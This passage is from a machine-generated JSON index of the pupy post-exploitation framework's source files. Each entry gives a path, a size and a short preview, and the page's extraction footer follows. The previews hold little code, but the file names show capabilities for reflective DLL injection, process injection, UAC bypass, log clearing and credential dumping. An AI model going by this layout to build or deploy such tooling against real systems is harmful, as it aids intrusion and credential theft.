"preview": "/* Definitions of constants and data structure for POSIX 1003.1b-1993\n scheduling interface.\n Copyright (C) 1996-201"
},
{
"path": "client/sources-linux-py3/compat/bits/stat.h",
"chars": 4998,
"preview": "/* Copyright (C) 1992, 1995-2001, 2002 Free Software Foundation, Inc.\n This file is part of the GNU C Library.\n\n The"
},
{
"path": "client/sources-linux-py3/compat/ifaddrs.h",
"chars": 2004,
"preview": "#define _GNU_SOURCE\n#include <net/if.h>\n#include <sys/socket.h>\n#include <sys/ioctl.h>\n#include <unistd.h>\n#include <std"
},
{
"path": "client/sources-linux-py3/compat/sched.h",
"chars": 5005,
"preview": "/* Definitions for POSIX 1003.1b-1993 (aka POSIX.4) scheduling interface.\n Copyright (C) 1996-2016 Free Software Found"
},
{
"path": "client/sources-linux-py3/daemonize.c",
"chars": 10425,
"preview": "#define _GNU_SOURCE\n\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <limits.h>\n#include <stdl"
},
{
"path": "client/sources-linux-py3/daemonize.h",
"chars": 206,
"preview": "#ifndef DAEMONIZE_H\n#define DAEMONIZE_H\n\n#include <unistd.h>\n#include <stdbool.h>\n#include <sys/types.h>\n\npid_t daemoniz"
},
{
"path": "client/sources-linux-py3/decompress.c",
"chars": 1727,
"preview": "#include <zlib.h>\n#include \"decompress.h\"\n\n/* Zpipe code */\n\n#define CHUNK 8196\n\nint decompress(int fd, const char *buf,"
},
{
"path": "client/sources-linux-py3/decompress.h",
"chars": 124,
"preview": "#ifndef DECOMPRESS_H\n#define DECOMPRESS_H\n\nint decompress(int fd, const char *buf, size_t size);\n\n#endif /* DECOMPRESS_H"
},
{
"path": "client/sources-linux-py3/docker/pyenv-setup-build.patch",
"chars": 2112,
"preview": "--- Modules/Setup\t2023-08-25 15:57:16.039376911 +0000\n+++ Modules/Setup.new\t2023-08-25 15:59:07.427185196 +0000\n@@ -107,"
},
{
"path": "client/sources-linux-py3/fixes.c",
"chars": 408,
"preview": "#include <limits.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"memfd.h\"\n\nchar *__real_realpath(const char *path, "
},
{
"path": "client/sources-linux-py3/fixes.h",
"chars": 235,
"preview": "#ifndef ___FIXES_H\n#define ___FIXES_H\n\n#include <linux/limits.h>\n#include <string.h>\n#include <sys/ptrace.h>\n\n#ifndef PT"
},
{
"path": "client/sources-linux-py3/ld_hooks.c",
"chars": 7034,
"preview": "#define _GNU_SOURCE\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <dlfcn.h>\n#include <stdarg.h>\n#i"
},
{
"path": "client/sources-linux-py3/ld_hooks.h",
"chars": 285,
"preview": "#ifndef LD_HOOKS_H\n#define LD_HOOKS_H\n\n#include <sys/types.h>\n\ntypedef const char * (*cb_hooks_t)(const char *path, char"
},
{
"path": "client/sources-linux-py3/main_exe.c",
"chars": 356,
"preview": "#include <sys/types.h>\n#include <unistd.h>\n\n#include \"pupy_load.h\"\n#include \"daemonize.h\"\n\n#ifdef Linux\n#include <mcheck"
},
{
"path": "client/sources-linux-py3/main_so.c",
"chars": 3500,
"preview": "#define _GNU_SOURCE\n#include <stdlib.h>\n#include <pthread.h>\n#include <unistd.h>\n#include <string.h>\n\n#include <dlfcn.h>"
},
{
"path": "client/sources-linux-py3/memfd.h",
"chars": 1790,
"preview": "#ifndef _PUPY_MEMFD_H\n#define _PUPY_MEMFD_H\n\n#define _GNU_SOURCE\n#include <sys/syscall.h>\n#include <string.h>\n#include <"
},
{
"path": "client/sources-linux-py3/pupy.c",
"chars": 14840,
"preview": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE fi"
},
{
"path": "client/sources-linux-py3/pupy.ldscript",
"chars": 162,
"preview": "{\n global:\n open; open64;\n openat; openat64;\n fopen; fopen64;\n __lxstat; __lxstat64;\n "
},
{
"path": "client/sources-linux-py3/pupy.so.ldscript",
"chars": 74,
"preview": "{\n global: \n JNI_OnLoad;\n JNI_OnUnload;\n local: *;\n};\n"
},
{
"path": "client/sources-linux-py3/pupy_load.c",
"chars": 2922,
"preview": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE fi"
},
{
"path": "client/sources-linux-py3/pupy_load.h",
"chars": 248,
"preview": "#ifndef PUPY_LOAD_H\n#define PUPY_LOAD_H\n\n#include <stdint.h>\n#include <stdbool.h>\n\nvoid initialize(bool isDll);\nint exec"
},
{
"path": "client/sources-linux-py3/revision.h",
"chars": 37,
"preview": "#define GIT_REVISION_HEAD \"90a8f7a9\"\n"
},
{
"path": "client/sources-linux-py3/tmplibrary.c",
"chars": 19704,
"preview": "#define _GNU_SOURCE\n\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <limits.h>\n#include <fcntl.h>\n#include <stdli"
},
{
"path": "client/sources-linux-py3/tmplibrary.h",
"chars": 687,
"preview": "#ifndef TMPLIBRARY_H\n#define TMPLIBRARY_H\n\n#define _GNU_SOURCE\n#include <dlfcn.h>\n\n#include <sys/types.h>\n#include <stdb"
},
{
"path": "client/sources-windows-py3/.gitignore",
"chars": 47,
"preview": "import-tab.c\nimport-tab.h\nresources\nrevision.h\n"
},
{
"path": "client/sources-windows-py3/GetProcAddressR.c",
"chars": 5608,
"preview": "//===============================================================================================//\r\n// Copyright (c) 20"
},
{
"path": "client/sources-windows-py3/GetProcAddressR.h",
"chars": 2317,
"preview": "//===============================================================================================//\n// Copyright (c) 201"
},
{
"path": "client/sources-windows-py3/LICENSES.txt",
"chars": 5059,
"preview": "The windows reflective DLL and exe payload for pupy contains source code from differents projects with differents licens"
},
{
"path": "client/sources-windows-py3/LoadLibraryR.c",
"chars": 12704,
"preview": "//===============================================================================================//\r\n// Copyright (c) 20"
},
{
"path": "client/sources-windows-py3/LoadLibraryR.h",
"chars": 2500,
"preview": "//===============================================================================================//\n// Copyright (c) 201"
},
{
"path": "client/sources-windows-py3/Makefile",
"chars": 7395,
"preview": "BUILDENV ?= $(PWD)/buildenv\n\nPYMAJ ?= 3\nPYMIN ?= 10\nSUFFIX ?= -$(PYMAJ)$(PYMIN).\nBITS ?= 32\n\n\nTEMPLATE_OUTPUT_PATH=../.."
},
{
"path": "client/sources-windows-py3/MemoryModule.c",
"chars": 50236,
"preview": "/*\n * Memory DLL loading code\n * Version 0.0.4\n *\n * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de\n *"
},
{
"path": "client/sources-windows-py3/MemoryModule.h",
"chars": 6836,
"preview": "/*\n * Memory DLL loading code\n * Version 0.0.4\n *\n * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de\n *"
},
{
"path": "client/sources-windows-py3/MyLoadLibrary.c",
"chars": 26063,
"preview": "#include \"MemoryModule.h\"\n#include \"MyLoadLibrary.h\"\n\n#include <string.h>\n#include <malloc.h>\n#include \"uthash.h\"\n\n#incl"
},
{
"path": "client/sources-windows-py3/MyLoadLibrary.h",
"chars": 2572,
"preview": "#ifndef GENERALLOADLIBRARY_H\n#define GENERALLOADLIBRARY_H\n\n#include <windows.h>\n\n#ifndef CALLBACK\n#define CALLBACK WINAP"
},
{
"path": "client/sources-windows-py3/Python-dynload-os.h",
"chars": 5728,
"preview": "#ifndef PYTHON_DYNLOAD_OS_H\n#define PYTHON_DYNLOAD_OS_H\n\n#include <windows.h>\n\n#define PYTHON_LIB_NAME \"python310.dll\"\n\n"
},
{
"path": "client/sources-windows-py3/ReflectiveDllInjection.h",
"chars": 2718,
"preview": "//===============================================================================================//\n// Copyright (c) 201"
},
{
"path": "client/sources-windows-py3/ReflectiveLoader.c",
"chars": 23713,
"preview": "//===============================================================================================//\n// Copyright (c) 201"
},
{
"path": "client/sources-windows-py3/ReflectiveLoader.h",
"chars": 8385,
"preview": "//===============================================================================================//\n// Copyright (c) 201"
},
{
"path": "client/sources-windows-py3/actctx.c",
"chars": 732,
"preview": "#include \"actctx.h\"\r\n\r\nHANDLE PyWin_DLLhActivationContext=NULL;\r\nPFN_GETCURRENTACTCTX pfnGetCurrentActCtx=NULL;\r\nPFN_ACT"
},
{
"path": "client/sources-windows-py3/actctx.h",
"chars": 1579,
"preview": "#include <windows.h>\n#include <stdio.h>\n#include <olectl.h>\n\n#include <assert.h>\n// Windows \"Activation Context\" work:\n/"
},
{
"path": "client/sources-windows-py3/base_inject.c",
"chars": 26949,
"preview": "/*\n This code is originally from meterpreter and has been modified to be integrated into pupy.\n original code :https://g"
},
{
"path": "client/sources-windows-py3/base_inject.h",
"chars": 4798,
"preview": "/*\n This code has been taken from meterpreter and modified to be integrated into pupy.\n original code :https://github.co"
},
{
"path": "client/sources-windows-py3/build-docker.sh",
"chars": 6013,
"preview": "#!/bin/sh\n\nPACKAGES_BUILD=\"netifaces msgpack-python u-msgpack-python construct bcrypt watchdog dukpy impacket zeroconf u"
},
{
"path": "client/sources-windows-py3/in-mem-exe.c",
"chars": 10669,
"preview": "/*\n * Prototype for in-memory executable execution.\n *\n * Improvements that need to be made:\n *\n * - Support passing "
},
{
"path": "client/sources-windows-py3/main_exe.c",
"chars": 762,
"preview": "#include <windows.h>\n#include <winbase.h>\n#include <winuser.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h"
},
{
"path": "client/sources-windows-py3/main_reflective.c",
"chars": 2419,
"preview": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE fi"
},
{
"path": "client/sources-windows-py3/postmortem.c",
"chars": 24744,
"preview": "#include <Shlobj.h>\n#include <stdio.h>\n\n#define PYTHON_DYNLOAD_OS_NO_BLOBS\n\n#include \"postmortem.h\"\n#include \"debug.h\"\n\n"
},
{
"path": "client/sources-windows-py3/postmortem.h",
"chars": 5230,
"preview": "#ifndef POSTMORTEM_H_\n#define POSTMORTEM_H_\n\n#include <windows.h>\n\n#ifndef POSTMORTEM_DEST_FOLDER\n#define POSTMORTEM_DES"
},
{
"path": "client/sources-windows-py3/pupy.c",
"chars": 17438,
"preview": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE fi"
},
{
"path": "client/sources-windows-py3/pupy_load.c",
"chars": 14803,
"preview": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE fi"
},
{
"path": "client/sources-windows-py3/pupy_load.h",
"chars": 437,
"preview": "#ifndef PYTHONINTERPRETER\n#define PYTHONINTERPRETER\n\n#include <windows.h>\n\ntypedef VOID (*on_exit_session_t)(VOID);\n\n#if"
},
{
"path": "client/sources-windows-py3/remote_thread.c",
"chars": 5285,
"preview": "//#include \"common.h\"\n#include <windows.h>\n#include \"debug.h\"\n\n#include \"remote_thread.h\"\n/*! @brief Container structure"
},
{
"path": "client/sources-windows-py3/remote_thread.h",
"chars": 234,
"preview": "#ifndef _METERPRETER_REMOTE_THREAD_H\n#define _METERPRETER_REMOTE_THREAD_H\n\nHANDLE create_remote_thread(HANDLE hProcess, "
},
{
"path": "client/sources-windows-py3/resource_python_manifest.c",
"chars": 1473,
"preview": "\n#ifdef _WIN64\n const char resource_python_manifest[]=\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\\"
},
{
"path": "client/sources-windows-py3/thread.c",
"chars": 12626,
"preview": "#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"thread.h\"\n#ifndef _WIN32\n#include <pthread.h>\n\nint"
},
{
"path": "client/sources-windows-py3/thread.h",
"chars": 2660,
"preview": "#ifndef _METERPRETER_LIB_THREAD_H\n#define _METERPRETER_LIB_THREAD_H\n\n#ifdef _WIN32\n\n/***********************************"
},
{
"path": "pupy/.dockerignore",
"chars": 179,
"preview": "Dockerfile\n.dockerignore\n**/.git\n**/.gitignore\n**/*.exp\n**/*.lib\ncrypto/credentials.py\ndata\nexternal/winpty\nexternal/sca"
},
{
"path": "pupy/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "pupy/agent/__init__.py",
"chars": 29205,
"preview": "# -*- coding: utf-8 -*-\n# ------------------------------------------------------------------------------\n# Redistributio"
},
{
"path": "pupy/agent/__main__.py",
"chars": 1497,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ im"
},
{
"path": "pupy/agent/_linux_memfd.py",
"chars": 2440,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/agent/config.py",
"chars": 1278,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/dl_hacks.py",
"chars": 3184,
"preview": "# -*- coding: utf-8 -*-\n\n__all__ = ('apply_dl_hacks',)\n\nimport os\nimport sys\nif not \"rustc\" in sys.version:\n import c"
},
{
"path": "pupy/agent/handlers.py",
"chars": 1953,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/logger.py",
"chars": 1469,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/manager.py",
"chars": 5367,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/memimporter/__init__.py",
"chars": 992,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/memimporter/linux.py",
"chars": 3332,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/agent/memimporter/posix.py",
"chars": 1747,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/memimporter/utils.py",
"chars": 8154,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/memimporter/win32.py",
"chars": 1343,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/pstore.py",
"chars": 3342,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/psutil_hacks.py",
"chars": 468,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ im"
},
{
"path": "pupy/agent/service.py",
"chars": 19565,
"preview": "# -*- coding: utf-8 -*-\n# ---------------------------------------------------------------\n# Copyright (c) 2015, Nicolas "
},
{
"path": "pupy/agent/ssl_hacks.py",
"chars": 1421,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/utils.py",
"chars": 5207,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/agent/winerror_hacks.py",
"chars": 1195,
"preview": "# -*- coding: utf-8 -*-\n\nimport ctypes\nimport sys\n\nfrom ctypes import (\n cast, byref, windll\n)\n\nfrom ctypes.wintypes "
},
{
"path": "pupy/cli/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "pupy/cli/__main__.py",
"chars": 87,
"preview": "#!/usr/bin/env python3\n# -*- coding: UTF8 -*-\nfrom pupy.cli.pupysh import main\n\nmain()\n"
},
{
"path": "pupy/cli/pupygen.py",
"chars": 37611,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n\n# Pupy is under "
},
{
"path": "pupy/cli/pupysh.py",
"chars": 5156,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# --------------------------------------------------------------\n# Copyri"
},
{
"path": "pupy/commands/__init__.py",
"chars": 4972,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/config.py",
"chars": 3840,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/connect.py",
"chars": 447,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/creds.py",
"chars": 4165,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/dnscnc.py",
"chars": 25835,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/exit.py",
"chars": 491,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/exposed.py",
"chars": 917,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/gen.py",
"chars": 8908,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/help.py",
"chars": 5681,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/jobs.py",
"chars": 2230,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/listen.py",
"chars": 2155,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/logging.py",
"chars": 2212,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/python.py",
"chars": 1435,
"preview": "# -*- encoding: utf-8 -*-\n\n# TODO: Fix interaction\n\nfrom __future__ import absolute_import\nfrom __future__ import divisi"
},
{
"path": "pupy/commands/restart.py",
"chars": 742,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/run.py",
"chars": 3951,
"preview": "# -*- encoding: utf-8 -*-\n\n# TODO: Fix stream/interaction\n\nfrom __future__ import absolute_import\nfrom __future__ import"
},
{
"path": "pupy/commands/sessions.py",
"chars": 3269,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/commands/tag.py",
"chars": 1348,
"preview": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import"
},
{
"path": "pupy/conf/imports_done.py",
"chars": 1391,
"preview": "from collections import OrderedDict\nfrom Crypto.Cipher import AES\nfrom Crypto.Hash import HMAC\nfrom Crypto.Hash import S"
},
{
"path": "pupy/conf/pupy.conf.default",
"chars": 5249,
"preview": "[pupyd]\n#listen on all interfaces by default\n# address = 192.168.0.1\n\n## Default external address for all transports\n# e"
},
{
"path": "pupy/external/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1",
"chars": 152194,
"preview": "function Invoke-ReflectivePEInjection\n{\n<#\n.SYNOPSIS\n\nThis script has two modes. It can reflectively load a DLL/EXE in t"
},
{
"path": "pupy/external/PowerSploit/Recon/PowerView.ps1",
"chars": 448187,
"preview": "#requires -version 2\n\n<#\n\n PowerSploit File: PowerView.ps1\n Author: Will Schroeder (@harmj0y)\n License: BSD 3-C"
},
{
"path": "pupy/external/creddump7/.gitignore",
"chars": 460,
"preview": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\n"
},
{
"path": "pupy/external/creddump7/CHANGELOG",
"chars": 272,
"preview": "Version: 0.3 Date: 8/1/2012\n\n* Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius.\n Closes Issue 3.\n\n"
},
{
"path": "pupy/external/creddump7/COPYING",
"chars": 35147,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "pupy/external/creddump7/README.md",
"chars": 6327,
"preview": "#Information\nThis repo is for my modifications to the original 'creddump' program available\nat: \n\nhttps://code.google.co"
},
{
"path": "pupy/external/creddump7/cachedump.py",
"chars": 1535,
"preview": "#!/usr/bin/env python\n\n# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or mo"
},
{
"path": "pupy/external/creddump7/framework/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "pupy/external/creddump7/framework/addrspace.py",
"chars": 4489,
"preview": "# Volatility\n# Copyright (C) 2007 Volatile Systems\n#\n# Original Source:\n# Copyright (C) 2004,2005,2006 4tphi Research\n# "
},
{
"path": "pupy/external/creddump7/framework/newobj.py",
"chars": 9889,
"preview": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the ter"
},
{
"path": "pupy/external/creddump7/framework/object.py",
"chars": 4999,
"preview": "# Volatools Basic\n# Copyright (C) 2007 Komoku, Inc.\n#\n# This program is free software; you can redistribute it and/or mo"
},
{
"path": "pupy/external/creddump7/framework/types.py",
"chars": 2466,
"preview": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the ter"
},
{
"path": "pupy/external/creddump7/framework/win32/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "pupy/external/creddump7/framework/win32/domcachedump.py",
"chars": 4287,
"preview": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the ter"
},
{
"path": "pupy/external/creddump7/framework/win32/hashdump.py",
"chars": 9366,
"preview": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the ter"
},
{
"path": "pupy/external/creddump7/framework/win32/lsasecrets.py",
"chars": 4811,
"preview": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the ter"
},
{
"path": "pupy/external/creddump7/framework/win32/rawreg.py",
"chars": 2262,
"preview": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the ter"
},
{
"path": "pupy/external/creddump7/lsadump.py",
"chars": 2146,
"preview": "#!/usr/bin/env python\n\n# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or mo"
},
{
"path": "pupy/external/creddump7/pwdump.py",
"chars": 1070,
"preview": "#!/usr/bin/env python\n\n# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or mo"
},
{
"path": "pupy/external/linenum/linenum.sh",
"chars": 40155,
"preview": "#!/bin/bash\n#A script to enumerate local information from a Linux host\nv=\"version 0.5 (experimental)\"\n#@oshearing\n\n#help"
},
{
"path": "pupy/library_patches_py2/Crypto/Util/_raw_api.py",
"chars": 6989,
"preview": "# ===================================================================\n#\n# Copyright (c) 2014, Legrandin <helderijs@gmail"
},
{
"path": "pupy/library_patches_py2/linecache.py",
"chars": 326,
"preview": "__all__ = (\n 'getline', 'clearcache', 'checkcache', 'getlines'\n)\n\ndef getline(filename, lineno, module_globals=None):"
},
{
"path": "pupy/library_patches_py2/site.py",
"chars": 650,
"preview": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __futu"
},
{
"path": "pupy/library_patches_py2/sysconfig.py_old",
"chars": 693,
"preview": "import sys\nfrom bundlevars import bundlevars\n\ndef parse_config_h(fp, vars=None):\n return {}\n\n\ndef get_config_h_filena"
},
{
"path": "pupy/library_patches_py2/uuid.py",
"chars": 30994,
"preview": "r\"\"\"UUID objects (universally unique identifiers) according to RFC 4122.\n\nThis module provides immutable UUID objects (c"
},
{
"path": "pupy/library_patches_py3/Crypto/Util/_raw_api.py",
"chars": 6989,
"preview": "# ===================================================================\n#\n# Copyright (c) 2014, Legrandin <helderijs@gmail"
},
{
"path": "pupy/library_patches_py3/bz2.py",
"chars": 11948,
"preview": "\"\"\"Interface to the libbzip2 compression library.\n\nThis module provides a file interface, classes for incremental\n(de)co"
},
{
"path": "pupy/library_patches_py3/linecache.py",
"chars": 447,
"preview": "__all__ = [\"getline\", \"clearcache\", \"checkcache\", \"lazycache\"]\n\ndef getline(filename, lineno, module_globals=None):\n "
},
{
"path": "pupy/library_patches_py3/poster/__init__.py",
"chars": 1479,
"preview": "# Copyright (c) 2011 Chris AtLee\n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of "
},
{
"path": "pupy/library_patches_py3/poster/encode.py",
"chars": 14822,
"preview": "\"\"\"multipart/form-data encoding module\n\nThis module provides functions that faciliate encoding name/value pairs\nas multi"
},
{
"path": "pupy/library_patches_py3/poster/streaminghttp.py",
"chars": 8273,
"preview": "\"\"\"Streaming HTTP uploads module.\n\nThis module extends the standard httplib and urllib2 objects so that\niterable objects"
},
{
"path": "pupy/library_patches_py3/site.py",
"chars": 883,
"preview": "import sys\nimport os\nimport builtins\nimport _sitebuiltins\n\nPREFIXES = []\nENABLE_USER_SITE = False\nUSER_SITE = ''\nUSER_BA"
},
{
"path": "pupy/library_patches_py3/umsgpack.py",
"chars": 43449,
"preview": "# u-msgpack-python v2.7.1 - v at sergeev.io\n# https://github.com/vsergeev/u-msgpack-python\n#\n# u-msgpack-python is a lig"
},
{
"path": "pupy/library_patches_py3/xattr/lib_build.py",
"chars": 20,
"preview": "# don't do anything\n"
},
{
"path": "pupy/modules/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "pupy/modules/ad.py",
"chars": 29242,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/alive.py",
"chars": 1246,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/apps.py",
"chars": 3060,
"preview": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import print_function\nfrom __future__ import"
},
{
"path": "pupy/modules/become.py",
"chars": 1222,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/beroot.py",
"chars": 2673,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/bypassuac.py",
"chars": 10559,
"preview": "# -*- coding: utf-8 -*-\n# Bypassuac techniques use WinPwnage tool\n# https://github.com/rootm0s/WinPwnage\n\nfrom __future_"
},
{
"path": "pupy/modules/call.py",
"chars": 2673,
"preview": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ impor"
},
{
"path": "pupy/modules/cat.py",
"chars": 2896,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/cd.py",
"chars": 1173,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/check_vm.py",
"chars": 1645,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/clear_logs.py",
"chars": 1912,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/cloudinfo.py",
"chars": 1518,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import p"
},
{
"path": "pupy/modules/contacts.py",
"chars": 2755,
"preview": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ impor"
}
]
// ... and 443 more files (download for full content)
About this extraction
This page contains the full source code of the n1nj4sec/pupy GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 643 files (4.7 MB), approximately 1.3M tokens, and a symbol index with 5574 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.